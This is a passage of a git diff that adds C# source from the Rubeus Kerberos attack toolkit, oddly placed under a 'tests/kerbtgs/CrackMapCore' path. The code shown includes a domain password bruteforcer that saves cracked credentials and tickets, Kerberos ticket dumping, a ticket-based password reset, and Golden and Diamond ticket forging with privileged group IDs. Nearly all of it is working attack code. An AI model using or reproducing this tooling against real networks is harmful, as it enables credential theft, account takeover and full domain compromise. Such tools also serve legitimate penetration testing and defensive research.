(arguments.ContainsKey("/users")) + { + try { + this.usernames = File.ReadAllLines(arguments["/users"]); + }catch (FileNotFoundException) + { + throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file"); + } + } + else if (arguments.ContainsKey("/user")) + { + this.usernames = new string[] { arguments["/user"] }; + } + } + + private void ParseOutfile(Dictionary arguments) + { + if (arguments.ContainsKey("/outfile")) + { + this.outfile = arguments["/outfile"]; + } + } + + private void ParseVerbose(Dictionary arguments) + { + if (arguments.ContainsKey("/verbose")) + { + this.verbose = 2; + } + } + + private void ParseSaveTickets(Dictionary arguments) + { + if (arguments.ContainsKey("/noticket")) + { + this.saveTickets = false; + } + } + + private void ObtainUsers() + { + if(this.usernames == null) + { + this.usernames = this.DomainUsernames(); + } + else + { + if(this.verbose == 0) + { + this.verbose = 1; + } + } + } + + private string[] DomainUsernames() + { + + string domainController = this.DomainController(); + string bindPath = this.BindPath(domainController); + DirectoryEntry directoryObject = new DirectoryEntry(bindPath); + + if (!String.IsNullOrEmpty(this.credUser)) + { + string userDomain = String.Format("{0}\\{1}", this.credDomain, this.credUser); + + if (!this.AreCredentialsValid()) + { + throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!"); + } + + directoryObject.Username = userDomain; + directoryObject.Password = this.credPassword; + + Console.WriteLine("[*] Using alternate creds : {0}\r\n", userDomain); + } + + + DirectorySearcher userSearcher = new DirectorySearcher(directoryObject); + userSearcher.Filter = "(samAccountType=805306368)"; + userSearcher.PropertiesToLoad.Add("samAccountName"); + + try + { + SearchResultCollection users = userSearcher.FindAll(); + + ArrayList usernames = new ArrayList(); + + foreach (SearchResult user in users) + { + string username = user.Properties["samAccountName"][0].ToString(); + usernames.Add(username); + } + + return usernames.Cast().Select(x => x.ToString()).ToArray(); + } catch(System.Runtime.InteropServices.COMException ex) + { + switch ((uint)ex.ErrorCode) + { + case 0x8007052E: + throw new BruteArgumentException("[X] Login error when retrieving usernames from dc \"" + domainController + "\"! Try it by providing valid /creduser and /credpassword"); + case 0x8007203A: + throw new BruteArgumentException("[X] Error connecting with the dc \"" + domainController + "\"! Make sure that provided /domain or /dc are valid"); + case 0x80072032: + throw new BruteArgumentException("[X] Invalid syntax in DN specification! Make sure that /ou is correct"); + case 0x80072030: + throw new BruteArgumentException("[X] There is no such object on the server! Make sure that /ou is correct"); + default: + throw ex; + } + } + } + + private string DomainController() + { + string domainController = null; + + + if (String.IsNullOrEmpty(this.dc)) + { + domainController = Networking.GetDCName(); + + if(domainController == "") + { + throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc"); + } + } + else + { + domainController = this.dc; + } + + return domainController; + } + + private string BindPath(string domainController) + { + string bindPath = String.Format("LDAP://{0}", domainController); + + if (!String.IsNullOrEmpty(this.ou)) + { + string ouPath = this.ou.Replace("ldap", "LDAP").Replace("LDAP://", ""); + bindPath = String.Format("{0}/{1}", bindPath, ouPath); + } + else if (!String.IsNullOrEmpty(this.domain)) + { + string domainPath = this.domain.Replace(".", ",DC="); + bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); + } + + return bindPath; + } + + private bool AreCredentialsValid() + { + using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, this.credDomain)) + { + return pc.ValidateCredentials(this.credUser, this.credPassword); + } + } + + } + + + public class BruteforceConsoleReporter : IBruteforcerReporter + { + + private uint verbose; + private string passwordsOutfile; + private bool saveTicket; + private bool reportedBadOutputFile = false; + + public BruteforceConsoleReporter(string passwordsOutfile, uint verbose = 0, bool saveTicket = true) + { + this.verbose = verbose; + this.passwordsOutfile = passwordsOutfile; + this.saveTicket = saveTicket; + } + + public void ReportValidPassword(string domain, string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE) + { + this.WriteUserPasswordToFile(username, password); + if (ticket != null) + { + Console.WriteLine("[+] STUPENDOUS => {0}:{1}", username, password); + this.HandleTicket(username, ticket); + } + else + { + Console.WriteLine("[+] UNLUCKY => {0}:{1} ({2})", username, password, err); + } + } + + public void ReportValidUser(string domain, string username) + { + if (verbose > 0) + { + Console.WriteLine("[+] Valid user => {0}", username); + } + } + + public void ReportInvalidUser(string domain, string username) + { + if (this.verbose > 1) + { + Console.WriteLine("[-] Invalid user => {0}", username); + } + } + + public void ReportBlockedUser(string domain, string username) + { + Console.WriteLine("[-] Blocked/Disabled user => {0}", username); + } + + public void ReportKrbError(string domain, string username, KRB_ERROR krbError) + { + Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username, + krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code); + } + + + private void WriteUserPasswordToFile(string username, string password) + { + if (String.IsNullOrEmpty(this.passwordsOutfile)) + { + return; + } + + string line = String.Format("{0}:{1}{2}", username, password, Environment.NewLine); + try + { + File.AppendAllText(this.passwordsOutfile, line); + }catch(UnauthorizedAccessException) + { + if (!this.reportedBadOutputFile) + { + Console.WriteLine("[X] Unable to write credentials in \"{0}\": Access denied", this.passwordsOutfile); + this.reportedBadOutputFile = true; + } + } + } + + private void HandleTicket(string username, byte[] ticket) + { + if(this.saveTicket) + { + string ticketFilename = username + ".kirbi"; + File.WriteAllBytes(ticketFilename, ticket); + Console.WriteLine("[*] Saved TGT into {0}", ticketFilename); + } + else + { + this.PrintTicketBase64(username, ticket); + } + } + + private void PrintTicketBase64(string ticketname, byte[] ticket) + { + string ticketB64 = Convert.ToBase64String(ticket); + + Console.WriteLine("[*] base64({0}.kirbi):\r\n", ticketname); + + // display in columns of 80 chararacters + if (Rubeus.Program.wrapTickets) + { + foreach (string line in Helpers.Split(ticketB64, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", ticketB64); + } + + Console.WriteLine("\r\n", ticketname); + } + + } +} + + + + diff --git a/tests/kerbtgs/CrackMapCore/Commands/Changepw.cs b/tests/kerbtgs/CrackMapCore/Commands/Changepw.cs new file mode 100644 index 0000000..527f976 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Changepw.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Changepw : ICommand + { + public static string CommandName => "changepw"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n"); + + string newPassword = ""; + string dc = ""; + string targetUser = null; + + if (arguments.ContainsKey("/new")) + { + newPassword = arguments["/new"]; + } + if (String.IsNullOrEmpty(newPassword)) + { + Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n"); + return; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/targetuser")) { + targetUser = arguments["/targetuser"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc, targetUser); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc, targetUser); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Createnetonly.cs b/tests/kerbtgs/CrackMapCore/Commands/Createnetonly.cs new file mode 100644 index 0000000..1b7fe38 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Createnetonly.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus.Commands +{ + public class Createnetonly : ICommand + { + public static string CommandName => "createnetonly"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Create Process (/netonly)\r\n"); + + string program = null; + string username = null; + string password = null; + string domain = null; + byte[] kirbiBytes = null; + bool show = arguments.ContainsKey("/show"); + + if (arguments.ContainsKey("/program") && !String.IsNullOrWhiteSpace(arguments["/program"])) + { + program = arguments["/program"]; + } + else + { + Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); + return; + } + + if (arguments.ContainsKey("/username")) + { + username = arguments["/username"]; + } + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + kirbiBytes = Convert.FromBase64String(kirbi64); + } + else if (File.Exists(kirbi64)) + { + kirbiBytes = File.ReadAllBytes(kirbi64); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + } + + if (username == null && password == null && domain == null) + { + Console.WriteLine("\r\n[*] Using random username and password.\r\n"); + Helpers.CreateProcessNetOnly(program, show, username, domain, password, kirbiBytes); + return; + } + + if (!String.IsNullOrWhiteSpace(username) && !String.IsNullOrWhiteSpace(password) && !String.IsNullOrWhiteSpace(domain)) + { + Console.WriteLine("\r\n[*] Using " + domain + "\\" + username + ":" + password + "\r\n"); + Helpers.CreateProcessNetOnly(program, show, username, domain, password, kirbiBytes); + return; + } + + Console.WriteLine("\r\n[X] Explicit creds require /username, /password, and /domain to be supplied!\r\n"); + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Currentluid.cs b/tests/kerbtgs/CrackMapCore/Commands/Currentluid.cs new file mode 100644 index 0000000..5611e5d --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Currentluid.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Currentluid : ICommand + { + public static string CommandName => "currentluid"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Display current LUID\r\n"); + + LUID currentLuid = Helpers.GetCurrentLUID(); + Console.WriteLine("[*] Current LogonID (LUID) : {0} ({1})\r\n", currentLuid, (UInt64)currentLuid); + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Describe.cs b/tests/kerbtgs/CrackMapCore/Commands/Describe.cs new file mode 100644 index 0000000..d462e60 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Describe.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Describe : ICommand + { + public static string CommandName => "describe"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n"); + byte[] serviceKey = null; + byte[] asrepKey = null; + byte[] krbKey = null; + string serviceUser = ""; + string serviceDomain = ""; + string desPlainText = ""; + + + + if (arguments.ContainsKey("/servicekey")) + { + serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]); + } + if (arguments.ContainsKey("/asrepkey")) + { + asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]); + } + if (arguments.ContainsKey("/krbkey")) + { + krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); + } + if (arguments.ContainsKey("/desplaintext")) + { + desPlainText = arguments["/desplaintext"]; + } + + // for generating service ticket hash when using AES256 + if (arguments.ContainsKey("/serviceuser")) + { + serviceUser = arguments["/serviceuser"]; + } + if (arguments.ContainsKey("/servicedomain")) + { + serviceDomain = arguments["/servicedomain"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey, null, desPlainText); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey, null, desPlainText); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Diamond.cs b/tests/kerbtgs/CrackMapCore/Commands/Diamond.cs new file mode 100644 index 0000000..97a21f2 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Diamond.cs @@ -0,0 +1,202 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Diamond : ICommand + { + public static string CommandName => "diamond"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Diamond Ticket\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + string hash = ""; + string dc = ""; + string outfile = ""; + string certificate = ""; + string krbKey = ""; + string ticketUser = ""; + string groups = "520,512,513,519,518"; + int ticketUserId = 0; + string sids = ""; + + bool ptt = arguments.ContainsKey("/ptt"); + bool tgtdeleg = arguments.ContainsKey("/tgtdeleg"); + LUID luid = new LUID(); + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { + encType = Interop.KERB_ETYPE.rc4_hmac; + } else if (encTypeString.Equals("AES128")) { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } else if (encTypeString.Equals("DES")) { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + + string salt = String.Format("{0}{1}", domain.ToUpper(), user); + + // special case for computer account salts + if (user.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), user.TrimEnd('$').ToLower(), domain.ToLower()); + } + + // special case for samaccountname spoofing to support Kerberos AES Encryption + if (arguments.ContainsKey("/oldsam")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), arguments["/oldsam"].TrimEnd('$').ToLower(), domain.ToLower()); + + } + + hash = Crypto.KerberosPasswordHash(encType, password, salt); + } + + else if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/certificate")) { + certificate = arguments["/certificate"]; + } + if (arguments.ContainsKey("/krbkey")) { + krbKey = arguments["/krbkey"]; + } + if (arguments.ContainsKey("/ticketuser")) + { + ticketUser = arguments["/ticketuser"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + + if (arguments.ContainsKey("/ticketuserid")) + { + ticketUserId = int.Parse(arguments["/ticketuserid"]); + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/createnetonly")) + { + // if we're starting a hidden process to apply the ticket to + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); + return; + } + if (arguments.ContainsKey("/show")) + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); + } + else + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); + } + Console.WriteLine(); + } + + if (tgtdeleg) + { + KRB_CRED cred = null; + try { + cred = new KRB_CRED(LSA.RequestFakeDelegTicket()); + } + catch { + Console.WriteLine("[X] Unable to retrieve TGT using tgtdeleg"); + return; + } + ForgeTickets.ModifyTicket(cred, krbKey, krbKey, outfile, ptt, luid, ticketUser, groups, ticketUserId, sids); + } + else + { + if (String.IsNullOrEmpty(certificate)) + ForgeTickets.DiamondTicket(user, domain, hash, encType, outfile, ptt, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); + else + ForgeTickets.DiamondTicket(user, domain, certificate, password, encType, outfile, ptt, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); + } + + return; + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Dump.cs b/tests/kerbtgs/CrackMapCore/Commands/Dump.cs new file mode 100644 index 0000000..9fc3ce5 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Dump.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Dump : ICommand + { + public static string CommandName => "dump"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: Dump Kerberos Ticket Data (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: Dump Kerberos Ticket Data (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(true, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Full); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Golden.cs b/tests/kerbtgs/CrackMapCore/Commands/Golden.cs new file mode 100644 index 0000000..1adf2e8 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Golden.cs @@ -0,0 +1,451 @@ +using System; +using System.Collections.Generic; +using System.Globalization; + +namespace Rubeus.Commands +{ + public class Golden : ICommand + { + public static string CommandName => "golden"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Build TGT\r\n"); + + // variable defaults + string user = ""; + int? id = null; + string sids = ""; + string groups = ""; + string displayName = ""; + short? logonCount = null; + short? badPwdCount = null; + DateTime? lastLogon = null; + DateTime? logoffTime = null; + DateTime? pwdLastSet = null; + int? maxPassAge = null; + int? minPassAge = null; + int? pGid = null; + string homeDir = ""; + string homeDrive = ""; + string profilePath = ""; + string scriptPath = ""; + string resourceGroupSid = ""; + List resourceGroups = null; + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; + + string domain = ""; + string dc = ""; + string sid = ""; + string netbios = ""; + + bool ldap = false; + string ldapuser = null; + string ldappassword = null; + + string hash = ""; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent | Interop.TicketFlags.initial; + + DateTime startTime = DateTime.UtcNow; + DateTime authTime = startTime; + DateTime? rangeEnd = null; + string rangeInterval = "1d"; + string endTime = ""; + string renewTill = ""; + bool newPac = true; + bool extendedUpnDns = arguments.ContainsKey("/extendedupndns"); + + string outfile = ""; + bool ptt = false; + bool printcmd = false; + Int32 rodcNumber = 0; + + if (arguments.ContainsKey("/rodcNumber")) + { + rodcNumber = Int32.Parse(arguments["/rodcNumber"]); + } + // user information mostly for the PAC + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + if (arguments.ContainsKey("/id")) + { + id = Int32.Parse(arguments["/id"]); + } + if (arguments.ContainsKey("/pgid")) + { + pGid = Int32.Parse(arguments["/pgid"]); + } + if (arguments.ContainsKey("/displayname")) + { + displayName = arguments["/displayname"]; + } + if (arguments.ContainsKey("/logoncount")) + { + logonCount = short.Parse(arguments["/logoncount"]); + } + if (arguments.ContainsKey("/badpwdcount")) + { + badPwdCount = short.Parse(arguments["/badpwdcount"]); + } + if (arguments.ContainsKey("/lastlogon")) + { + lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/logofftime")) + { + logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/pwdlastset")) + { + pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/maxpassage")) + { + maxPassAge = Int32.Parse(arguments["/maxpassage"]); + } + if (arguments.ContainsKey("/minpassage")) + { + minPassAge = Int32.Parse(arguments["/minpassage"]); + } + if (arguments.ContainsKey("/homedir")) + { + homeDir = arguments["/homedir"]; + } + if (arguments.ContainsKey("/homedrive")) + { + homeDrive = arguments["/homedrive"]; + } + if (arguments.ContainsKey("/profilepath")) + { + profilePath = arguments["/profilepath"]; + } + if (arguments.ContainsKey("/scriptpath")) + { + scriptPath = arguments["/scriptpath"]; + } + if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) + { + resourceGroupSid = arguments["/resourcegroupsid"]; + resourceGroups = new List(); + foreach (string rgroup in arguments["/resourcegroups"].Split(',')) + { + try + { + resourceGroups.Add(int.Parse(rgroup)); + } + catch + { + Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); + } + } + } + if (arguments.ContainsKey("/uac")) + { + Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; + + foreach (string u in arguments["/uac"].Split(',')) + { + Interop.PacUserAccountControl result; + bool status = Interop.PacUserAccountControl.TryParse(u, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); + } + } + if (tmp != Interop.PacUserAccountControl.EMPTY) + { + uac = tmp; + } + } + + // domain and DC information + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + if (arguments.ContainsKey("/netbios")) + { + netbios = arguments["/netbios"]; + } + + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + // encryption types + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + // flags + if (arguments.ContainsKey("/flags")) + { + Interop.TicketFlags tmp = Interop.TicketFlags.empty; + + foreach (string flag in arguments["/flags"].Split(',')) + { + Interop.TicketFlags result; + bool status = Interop.TicketFlags.TryParse(flag, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); + } + } + if (tmp != Interop.TicketFlags.empty) + { + flags = tmp; + } + } + + // ticket times + if (arguments.ContainsKey("/starttime")) + { + try + { + startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); + return; + } + } + if (arguments.ContainsKey("/authtime")) + { + try + { + authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); + authTime = startTime; + } + } + else if (arguments.ContainsKey("/starttime")) + { + authTime = startTime; + } + if (arguments.ContainsKey("/rangeend")) + { + rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); + if (rangeEnd == null) + { + Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); + rangeEnd = startTime; + } + } + if (arguments.ContainsKey("/rangeinterval")) + { + rangeInterval = arguments["/rangeinterval"]; + } + if (arguments.ContainsKey("/endtime")) + { + endTime = arguments["/endtime"]; + } + if (arguments.ContainsKey("/renewtill")) + { + renewTill = arguments["/renewtill"]; + } + + if (arguments.ContainsKey("/oldpac")) + { + newPac = false; + } + + // actions for the ticket(s) + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + // print a command that could be used to recreate the ticket + // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again + if (arguments.ContainsKey("/printcmd")) + { + printcmd = true; + } + + // checks + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + ForgeTickets.ForgeTicket( + user, + String.Format("krbtgt/{0}", domain), + Helpers.StringToByteArray(hash), + encType, + null, + Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, + ldap, + ldapuser, + ldappassword, + sid, + domain, + netbios, + dc, + flags, + startTime, + rangeEnd, + rangeInterval, + authTime, + endTime, + renewTill, + id, + groups, + sids, + displayName, + logonCount, + badPwdCount, + lastLogon, + logoffTime, + pwdLastSet, + maxPassAge, + minPassAge, + pGid, + homeDir, + homeDrive, + profilePath, + scriptPath, + resourceGroupSid, + resourceGroups, + uac, + newPac, + extendedUpnDns, + outfile, + ptt, + printcmd, + null, + null, + null, + null, + false, + false, + rodcNumber + ); + return; + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/HarvestCommand.cs b/tests/kerbtgs/CrackMapCore/Commands/HarvestCommand.cs new file mode 100644 index 0000000..7418847 --- /dev/null +++ 